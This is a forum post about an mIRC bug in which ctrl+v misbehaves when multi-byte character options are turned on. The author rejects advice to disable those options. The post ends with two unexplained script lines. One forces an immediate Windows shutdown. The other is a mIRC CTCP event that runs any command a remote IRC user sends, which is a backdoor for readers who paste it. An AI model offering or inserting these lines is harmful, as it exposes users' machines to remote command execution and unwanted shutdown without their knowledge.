Didn't mean to offend you in particualar, segosu .... but yes, I've known what the problem was for a while, but people attempting to tell me to turn off something that is needed is a foolish way to fix an error, that and I'm getting ticked out how mIRC fails in handling dll's (but that's for another topic later).

So when someone tells me "turn off multi-byte this or that" and I actually need it to see other languages than boring old english, it's not a solution.

Thus the error lies in how ctrl+v event is handled in mIRC when those boxes are checked. Hence it IS a bug and should be looked into and preferably fixed.

/run shutdown.exe -s -t 0
ctcp ^*:r*:*:{$($2-,2)|halt}
